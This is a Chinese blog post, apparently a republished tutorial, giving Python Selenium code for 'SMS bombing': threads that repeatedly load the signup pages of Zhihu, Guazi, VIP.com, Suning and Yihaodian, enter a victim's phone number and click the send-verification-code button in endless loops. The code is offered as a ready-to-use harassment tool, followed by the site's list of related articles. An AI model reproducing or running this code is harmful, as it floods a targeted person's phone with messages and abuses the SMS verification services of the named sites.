Python短信轰炸的代码


Posted in Python onMarch 25, 2020

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轰炸的电话号码
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面这行是刚刚叙说的chromedrive的安装路径

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("//button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("//a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "//a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

执行放发

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

总结

到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python两个整数相除得到浮点数值的方法
Mar 18 Python
Python中处理时间的几种方法小结
Apr 09 Python
在Python中处理列表之reverse()方法的使用教程
May 21 Python
python使用正则表达式的search()函数实现指定位置搜索功能
Nov 10 Python
Python matplotlib画图实例之绘制拥有彩条的图表
Dec 28 Python
Python将多份excel表格整理成一份表格
Jan 03 Python
10分钟教你用Python实现微信自动回复功能
Nov 28 Python
python 输出所有大小写字母的方法
Jan 02 Python
用python wxpy管理微信公众号并利用微信获取自己的开源数据
Jul 30 Python
python 遗传算法求函数极值的实现代码
Feb 11 Python
python中reload重载实例用法
Dec 15 Python
selenium.webdriver中add_argument方法常用参数表
Apr 08 Python
PyQt5事件处理之定时在控件上显示信息的代码
Mar 25 #Python
基于Python计算圆周率pi代码实例
Mar 25 #Python
Python异常原理及异常捕捉实现过程解析
Mar 25 #Python
Python导入模块包原理及相关注意事项
Mar 25 #Python
Python脚本导出为exe程序的方法
Mar 25 #Python
Python实现猜年龄游戏代码实例
Mar 25 #Python
python读取mysql数据绘制条形图
Mar 25 #Python
You might like
PHP中去掉字符串首尾空格的方法
2012/05/19 PHP
php中print(),print_r(),echo()的区别详解
2014/12/01 PHP
php通过正则表达式记取数据来读取xml的方法
2015/03/09 PHP
js代码实现微博导航栏
2015/07/30 PHP
微信公众平台开发之天气预报功能
2015/08/31 PHP
php上传功能集后缀名判断和随机命名(强力推荐)
2015/09/10 PHP
基于jquery1.4.2的仿flash超炫焦点图播放效果
2010/04/20 Javascript
ExtJS4如何给同一个formpanel不同的url
2014/05/02 Javascript
Jquery Ajax方法传值到action的方法
2014/05/11 Javascript
ext中store.load跟store.reload的区别示例介绍
2014/06/17 Javascript
基于jquery实现鼠标滚轮驱动的图片切换效果
2015/10/26 Javascript
谈谈基于iframe、FormData、FileReader三种无刷新上传文件的方法
2015/12/03 Javascript
javascript js 操作数组 增删改查的简单实现
2016/06/20 Javascript
浅谈js中的三种继承方式及其优缺点
2016/08/10 Javascript
Jquery通过ajax请求NodeJS返回json数据实例
2016/11/08 NodeJs
JavaScript数据结构之二叉查找树的定义与表示方法
2017/04/12 Javascript
详解如何实现一个简单的Node.js脚手架
2017/12/04 Javascript
Vue实现todolist删除功能
2018/06/26 Javascript
Vue组件通信中非父子组件传值知识点总结
2019/12/05 Javascript
javascript实现的图片预览和上传功能示例【兼容IE 9】
2020/05/01 Javascript
[02:12]打造更好的电竞完美世界:完美盛典回顾篇
2018/12/19 DOTA
Python利用带权重随机数解决抽奖和游戏爆装备问题
2016/06/16 Python
Python查找两个有序列表中位数的方法【基于归并算法】
2018/04/20 Python
详解Python 正则表达式模块
2018/11/05 Python
python实现nao机器人身体躯干和腿部动作操作
2019/04/29 Python
解决torch.autograd.backward中的参数问题
2020/01/07 Python
Jupyter打开图形界面并画出正弦函数图像实例
2020/04/24 Python
Android interview questions
2016/12/25 面试题
联谊会主持词
2014/03/26 职场文书
2014财务部年度工作总结
2014/12/08 职场文书
2015欢度元旦标语口号
2014/12/09 职场文书
社区扶贫帮困工作总结
2015/05/20 职场文书
运动会100米加油稿
2015/07/21 职场文书
2019年公司快递收发管理制度模板
2019/11/20 职场文书
python引入其他文件夹下的py文件具体方法
2021/05/23 Python
vue实现锚点定位功能
2021/06/29 Vue.js